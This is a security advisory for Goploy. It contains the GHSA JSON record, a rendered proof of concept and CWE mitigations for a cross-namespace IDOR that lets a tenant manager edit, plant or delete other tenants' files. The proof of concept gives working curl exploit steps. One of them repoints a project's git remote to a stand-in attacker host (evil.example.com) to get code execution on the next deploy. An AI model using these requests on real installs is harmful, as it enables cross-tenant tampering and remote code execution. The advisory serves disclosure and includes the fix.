curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
-d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'
# Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":1,"userIds":[2],"roleId":1}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
-d '{"namespaceId":2,"userIds":[3],"roleId":1}'
# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
-d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
"path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
"transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'
# Bob logs in (first-login change)
curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
-H 'Content-Type: application/json' \
-d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'
BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'
Negative control: Bob's own namespace has no projects.
curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"
# → {"code":0,"data":{"list":[]}}
Exploit 1 — Bob overwrites Alice's file content:
curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
-d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'
# → {"code":0,"message":"","data":null}
docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
# OWNED BY BOB
# attacker_namespace: ns_b
Exploit 2 — Bob plants a new file in Alice's project directory:
curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
-d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
# → {"code":0,"message":"","data":{"id":2}}
docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
# .env.attacker alice-secrets.yml
Exploit 3 — Bob deletes Alice's file:
curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \
-d '{"projectFileId":1}'
# → {"code":0,"message":"","data":null}
# alice-secrets.yml is gone from project_1/.
Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:
curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \
-d '{"id":1,"name":"alice-prod","repoType":"git",
"url":"git@evil.example.com:attacker/payload.git",
"path":"/tmp/deploy/alice","environment":1,"branch":"master",
"transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
"script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
"deployFinish":{"mode":"","content":""}}}'
# → {"code":0,"message":"","data":null}
docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \
-e "SELECT name,url FROM project WHERE id=1;"
# alice-prod | git@evil.example.com:attacker/payload.git
Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.
Suggested fix
Add a namespace-scoped variant of GetData so the model layer requires (id, namespace_id) and switch the four handlers over.
internal/model/project_file.go:
func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {
var projectFile ProjectFile
err := sq.
Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time").
From(projectFileTable + " pf").
Join("project p ON p.id = pf.project_id").
Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}).
RunWith(DB).
QueryRow().
Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,
&projectFile.InsertTime, &projectFile.UpdateTime)
return projectFile, err
}
internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace_id.
cmd/server/api/project/handler.go:
EditFileandRemoveFileswitch tomodel.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).AddFilecalls a newmodel.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)precheck beforeos.CreateandAddRow.Editcallsmodel.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)beforeEditRow.
sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.
Patch
Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/zhenorzz/goploy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.17.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53552"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T23:42:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\n`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller\u0027s namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project\u0027s git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project\u0027s working tree.\n\n### Affected\n\n`zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`).\n\nThe four handlers and the model lookups have been in this shape across the file API and project metadata API.\n\n### Vulnerable code\n\n`cmd/server/api/project/handler.go::AddFile` (creates file under any project\u0027s directory; body controls `projectId`):\n\n```go\nfunc (Project) AddFile(gp *server.Goploy) server.Response {\n type ReqData struct {\n ProjectID int64 `json:\"projectId\" validate:\"required,gt=0\"`\n Content string `json:\"content\" validate:\"required\"`\n Filename string `json:\"filename\" validate:\"required\"`\n }\n var reqData ReqData\n if err := gp.Decode(\u0026reqData); err != nil { ... }\n\n filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)\n // ... os.Create(filePath); file.WriteString(reqData.Content)\n id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()\n}\n```\n\n`cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row):\n\n```go\nfunc (Project) EditFile(gp *server.Goploy) server.Response {\n type ReqData struct {\n ID int64 `json:\"id\" validate:\"required,gt=0\"`\n Content string `json:\"content\" validate:\"required\"`\n }\n var reqData ReqData\n if err := gp.Decode(\u0026reqData); err != nil { ... }\n\n projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()\n // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))\n file.WriteString(reqData.Content)\n}\n```\n\n`cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id):\n\n```go\nfunc (Project) RemoveFile(gp *server.Goploy) server.Response {\n type ReqData struct {\n ProjectFileID int64 `json:\"projectFileId\" validate:\"required,gt=0\"`\n }\n var reqData ReqData\n if err := gp.Decode(\u0026reqData); err != nil { ... }\n projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()\n if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }\n}\n```\n\n`cmd/server/api/project/handler.go::Edit` (updates any project\u0027s metadata; on URL change runs `git remote set-url` in the project working tree):\n\n```go\nfunc (Project) Edit(gp *server.Goploy) server.Response {\n // ... ReqData has ID, Name, URL, Branch, Script, etc.\n projectData, err := model.Project{ID: reqData.ID}.GetData()\n model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()\n if reqData.URL != projectData.URL {\n srcPath := config.GetProjectPath(projectData.ID)\n cmd := exec.Command(\"git\", \"remote\", \"set-url\", \"origin\", reqData.URL)\n cmd.Dir = srcPath\n }\n}\n```\n\n`internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join:\n\n```go\nfunc (pf ProjectFile) GetData() (ProjectFile, error) {\n err := sq.\n Select(\"id, project_id, filename, insert_time, update_time\").\n From(projectFileTable).\n Where(sq.Eq{\"id\": pf.ID}).\n ...\n}\n```\n\n`internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`:\n\n```go\nfunc (r Route) hasPermission(permissionIDs map[int64]struct{}) error {\n if len(r.permissionIDs) == 0 { return nil }\n for _, permissionID := range r.permissionIDs {\n if _, ok := permissionIDs[permissionID]; ok { return nil }\n }\n return errors.New(\"no permission\")\n}\n```\n\n### Reachable\n\nAny logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`. Multi-tenant deployments typically assign `manager` to each tenant\u0027s project owner; once a tenant\u0027s manager holds these permissions in their own namespace, they hold them globally for these four endpoints.\n\n### Proof of concept\n\nSetup against the published Docker image:\n\n```bash\ndocker network create goploy-net\ndocker run -d --name goploy-mysql --network goploy-net \\\n -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \\\n mysql:8.0 --default-authentication-plugin=mysql_native_password\n\n# Wait for MySQL, then load schema\ndocker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql\ndocker exec goploy-mysql sh -c \u0027mysql -uroot -pgoploy123 goploy \u003c /tmp/goploy.sql\u0027\n\n# Mount goploy.toml pointing DB at goploy-mysql:3306\ndocker run -d --name goploy-app --network goploy-net -p 18080:80 \\\n -v $PWD/repo:/opt/goploy/repository \\\n zhenorzz/goploy:1.17.5\n```\n\nSet up two namespaces and two non-super-manager users, each assigned `manager` (role_id=1) only in their own namespace:\n\n```bash\n# Admin login (default account admin / admin!@# requires first-login change)\ncurl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"account\":\"admin\",\"password\":\"admin!@#\",\"newPassword\":\"Admin!@#2026\"}\u0027\n\nADMIN_HDR=\u0027-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json\u0027\n\n# Create NS_B\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d \u0027{\"name\":\"ns_b\"}\u0027\n# \u2192 {\"data\":{\"id\":2}}\n\n# Create alice (id=2) and bob (id=3)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n -d \u0027{\"account\":\"alice\",\"password\":\"Alice!@#2026\",\"name\":\"Alice\",\"contact\":\"\",\"superManager\":0}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n -d \u0027{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"name\":\"Bob\",\"contact\":\"\",\"superManager\":0}\u0027\n\n# Assign alice \u2192 NS_A (id=1), bob \u2192 NS_B (id=2), both as manager (role_id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n -d \u0027{\"namespaceId\":1,\"userIds\":[2],\"roleId\":1}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n -d \u0027{\"namespaceId\":2,\"userIds\":[3],\"roleId\":1}\u0027\n\n# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \\\n -d \u0027{\"name\":\"alice-prod\",\"repoType\":\"git\",\"url\":\"https://github.com/zhenorzz/goploy.git\",\n \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\"transferType\":\"rsync\",\n \"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \\\n -d \u0027{\"projectId\":1,\"filename\":\"alice-secrets.yml\",\"content\":\"# Alice secret\\napi_key: ALICE_API_KEY_2026\\n\"}\u0027\n\n# Bob logs in (first-login change)\ncurl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"newPassword\":\"BobBob!@#2026\"}\u0027\n\nBOB_HDR=\u0027-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json\u0027\n```\n\nNegative control: Bob\u0027s own namespace has no projects.\n\n```bash\ncurl -s $BOB_HDR \"http://localhost:18080/project/getList?page=1\u0026rows=100\"\n# \u2192 {\"code\":0,\"data\":{\"list\":[]}}\n```\n\nExploit 1 \u2014 Bob overwrites Alice\u0027s file content:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \\\n -d \u0027{\"id\":1,\"content\":\"OWNED BY BOB\\nattacker_namespace: ns_b\\n\"}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml\n# OWNED BY BOB\n# attacker_namespace: ns_b\n```\n\nExploit 2 \u2014 Bob plants a new file in Alice\u0027s project directory:\n\n```bash\ncurl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \\\n -d \u0027{\"projectId\":1,\"filename\":\".env.attacker\",\"content\":\"PWN=bob_from_ns_b\"}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":{\"id\":2}}\n\ndocker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/\n# .env.attacker alice-secrets.yml\n```\n\nExploit 3 \u2014 Bob deletes Alice\u0027s file:\n\n```bash\ncurl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \\\n -d \u0027{\"projectFileId\":1}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n# alice-secrets.yml is gone from project_1/.\n```\n\nExploit 4 \u2014 Bob rewrites Alice\u0027s project git remote URL. On the next deploy, goploy runs `git -C \u003calice-prod-tree\u003e remote set-url origin \u003cattacker-url\u003e` and clones / pulls attacker code, leading to RCE under goploy\u0027s user:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \\\n -d \u0027{\"id\":1,\"name\":\"alice-prod\",\"repoType\":\"git\",\n \"url\":\"git@evil.example.com:attacker/payload.git\",\n \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\n \"transferType\":\"rsync\",\"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-mysql mysql -uroot -pgoploy123 goploy \\\n -e \"SELECT name,url FROM project WHERE id=1;\"\n# alice-prod | git@evil.example.com:attacker/payload.git\n```\n\nPositive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally \u2014 the patch must keep that working.\n\n### Suggested fix\n\nAdd a namespace-scoped variant of `GetData` so the model layer requires `(id, namespace_id)` and switch the four handlers over.\n\n`internal/model/project_file.go`:\n\n```go\nfunc (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {\n var projectFile ProjectFile\n err := sq.\n Select(\"pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time\").\n From(projectFileTable + \" pf\").\n Join(\"project p ON p.id = pf.project_id\").\n Where(sq.Eq{\"pf.id\": pf.ID, \"p.namespace_id\": namespaceID}).\n RunWith(DB).\n QueryRow().\n Scan(\u0026projectFile.ID, \u0026projectFile.ProjectID, \u0026projectFile.Filename,\n \u0026projectFile.InsertTime, \u0026projectFile.UpdateTime)\n return projectFile, err\n}\n```\n\n`internal/model/project.go`: add a parallel `Project.GetDataInNamespace` that joins on `namespace_id`.\n\n`cmd/server/api/project/handler.go`:\n\n- `EditFile` and `RemoveFile` switch to `model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID)`.\n- `AddFile` calls a new `model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)` precheck before `os.Create` and `AddRow`.\n- `Edit` calls `model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)` before `EditRow`.\n\n`sql.ErrNoRows` from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (`Remove`, `SetAutoDeploy`, `UploadFile`, `AddTask`, `EditProcess`, etc.) but the four endpoints above are the immediately exploitable ones.\n\n### Patch\n\nFix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-26rh-24rg-j3vv",
"modified": "2026-07-07T23:42:12Z",
"published": "2026-07-07T23:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zhenorzz/goploy/security/advisories/GHSA-26rh-24rg-j3vv"
},
{
"type": "PACKAGE",
"url": "https://github.com/zhenorzz/goploy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.